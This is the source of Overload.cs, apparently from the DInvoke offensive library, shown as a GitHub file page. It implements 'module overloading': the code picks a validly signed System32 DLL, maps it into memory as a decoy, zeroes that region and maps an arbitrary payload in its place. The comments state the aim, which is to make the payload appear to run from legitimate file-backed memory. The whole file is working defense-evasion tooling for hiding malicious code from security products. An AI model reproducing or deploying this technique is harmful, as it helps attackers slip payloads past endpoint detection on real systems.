-
Notifications
You must be signed in to change notification settings - Fork 112
Expand file tree
/
Copy pathOverload.cs
More file actions
136 lines (123 loc) · 6.33 KB
/
Copy pathOverload.cs
File metadata and controls
136 lines (123 loc) · 6.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using Data = DInvoke.Data;
using Utilities = DInvoke.Utilities;
using DynamicInvoke = DInvoke.DynamicInvoke;
namespace DInvoke.ManualMap
{
public class Overload
{
/// <summary>
/// Locate a signed module with a minimum size which can be used for overloading.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="MinSize">Minimum module byte size.</param>
/// <param name="LegitSigned">Whether to require that the module be legitimately signed.</param>
/// <returns>
/// String, the full path for the candidate module if one is found, or an empty string if one is not found.
/// </returns>
public static string FindDecoyModule(long MinSize, bool LegitSigned = true)
{
string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32";
List<string> files = new List<string>(Directory.GetFiles(SystemDirectoryPath, "*.dll"));
foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
{
if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))
{
files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));
}
}
//Pick a random candidate that meets the requirements
Random r = new Random();
//List of candidates that have been considered and rejected
List<int> candidates = new List<int>();
while (candidates.Count != files.Count)
{
//Iterate through the list of files randomly
int rInt = r.Next(0, files.Count);
string currentCandidate = files[rInt];
//Check that the size of the module meets requirements
if (candidates.Contains(rInt) == false &&
new FileInfo(currentCandidate).Length >= MinSize)
{
//Check that the module meets signing requirements
if (LegitSigned == true)
{
if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true)
return currentCandidate;
else
candidates.Add(rInt);
}
else
return currentCandidate;
}
candidates.Add(rInt);
}
return string.Empty;
}
/// <summary>
/// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that
/// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
/// </summary>
/// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>
/// <param name="PayloadPath">Full path to the payload module on disk.</param>
/// <param name="DecoyModulePath">Optional, full path the decoy module to overload in memory.</param>
/// <returns>PE.PE_MANUAL_MAP</returns>
public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true)
{
// Get approximate size of Payload
if (!File.Exists(PayloadPath))
{
throw new InvalidOperationException("Payload filepath not found.");
}
byte[] Payload = File.ReadAllBytes(PayloadPath);
return OverloadModule(Payload, DecoyModulePath, LegitSigned);
}
/// <summary>
/// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that
/// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
/// </summary>
/// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>
/// <param name="Payload">Full byte array for the payload module.</param>
/// <param name="DecoyModulePath">Optional, full path the decoy module to overload in memory.</param>
/// <returns>PE.PE_MANUAL_MAP</returns>
public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true)
{
// Did we get a DecoyModule?
if (!string.IsNullOrEmpty(DecoyModulePath))
{
if (!File.Exists(DecoyModulePath))
{
throw new InvalidOperationException("Decoy filepath not found.");
}
byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath);
if (DecoyFileBytes.Length < Payload.Length)
{
throw new InvalidOperationException("Decoy module is too small to host the payload.");
}
}
else
{
DecoyModulePath = FindDecoyModule(Payload.Length);
if (string.IsNullOrEmpty(DecoyModulePath))
{
throw new InvalidOperationException("Failed to find suitable decoy module.");
}
}
// Map decoy from disk
Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath);
IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage;
// Change permissions to RW
DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE);
// Zero out memory
DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize);
// Overload module in memory
Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase);
OverloadedModuleMetaData.DecoyModule = DecoyModulePath;
return OverloadedModuleMetaData;
}
}
}